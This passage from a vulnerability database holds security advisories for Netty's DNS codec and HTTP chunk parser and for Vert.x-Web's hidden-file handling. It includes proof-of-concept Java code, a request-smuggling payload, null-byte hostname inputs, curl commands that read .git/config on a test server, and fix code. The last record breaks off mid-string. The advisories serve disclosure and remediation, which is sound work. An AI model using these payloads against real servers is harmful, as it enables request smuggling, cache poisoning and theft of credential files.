    for (String label : labels) {
        final int labelLen = label.length();
        if (labelLen == 0) {
            throw new IllegalArgumentException("DNS name contains empty label: " + name);
        }
        if (labelLen > 63) {
            throw new IllegalArgumentException(
                "DNS label length " + labelLen + " exceeds maximum of 63: " + name);
        }
        for (int i = 0; i < label.length(); i++) {
            if (label.charAt(i) == '\0') {
                throw new IllegalArgumentException(
                    "DNS label contains null byte at index " + i);
            }
        }
        totalLength += 1 + labelLen;
        if (totalLength > 254) {
            throw new IllegalArgumentException(
                "DNS name exceeds maximum length of 255: " + name);
        }
        buf.writeByte(labelLen);
        ByteBufUtil.writeAscii(buf, label);
    }
    buf.writeByte(0);
}

Fix for Decoder (decodeDomainName)

// Add after "} else if (len != 0) {":
if (len > 63) {
    throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
    throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}

9. Resources

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:12:47Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         \u2191\n   Label interpretation: 200-byte label starting with \u0027a\u0027\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == \u0027\\0\u0027) {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "id": "GHSA-cm33-6792-r9fm",
  "modified": "2026-05-14T20:40:58Z",
  "published": "2026-05-07T00:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}

GHSA-H5FG-JPGR-RV9C

Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2025-10-22 19:38

Summary

Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories

Details

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served.
Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

1. Prepare test environment

# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git

# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config

2. Implement test server

import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle {
  @Override
  public void start() {
    Router router = Router.router(vertx);

    // Configure to not serve hidden files
    StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
      .setIncludeHidden(false)
      .setDirectoryListing(false);

    router.route("/*").handler(staticHandler);

    vertx.createHttpServer()
      .requestHandler(router)
      .listen(8082);
  }

  public static void main(String[] args) {
    Vertx vertx = Vertx.vertx();
    vertx.deployVerticle(new StaticHandlerTestServer());
  }
}

3. Confirm the vulnerability

# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK

# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found

# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

.git/config: Git repository settings (e.g., remote URL, credentials)
.env/*: Environment variables (API keys, DB credentials)
.aws/credentials: AWS access keys
.ssh/known_hosts: SSH host trust info
.docker/config.json: Docker registry credentials

2. Attack Scenarios

Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
Especially dangerous for .git/HEAD, .git/config, .git/objects/* — which may allow full reconstruction of source code.

3. Affected Scope

Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
Environments: All OSes (Windows, Linux, macOS)
Configurations: All applications using StaticHandler.setIncludeHidden(false)

Severity

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:38:04Z",
    "nvd_published_at": "2025-10-22T15:15:31Z",
    "severity": "MODERATE"
  },
  "details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n  @Override\n  public void start() {\n    Router router = Router.router(vertx);\n\n    // Configure to not serve hidden files\n    StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n      .setIncludeHidden(false)\n      .setDirectoryListing(false);\n\n    router.route(\"/*\").handler(staticHandler);\n\n    vertx.createHttpServer()\n      .requestHandler(router)\n      .listen(8082);\n  }\n\n  public static void main(String[] args) {\n    Vertx vertx = Vertx.vertx();\n    vertx.deployVerticle(new StaticHandlerTestServer());\n  }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory (vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
  "id": "GHSA-h5fg-jpgr-rv9c",
  "modified": "2025-10-22T19:38:04Z",
  "published": "2025-10-22T19:38:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vert-x3/vertx-web"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}

GHSA-M4CV-J2PX-7723

Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41

Summary

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Details

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 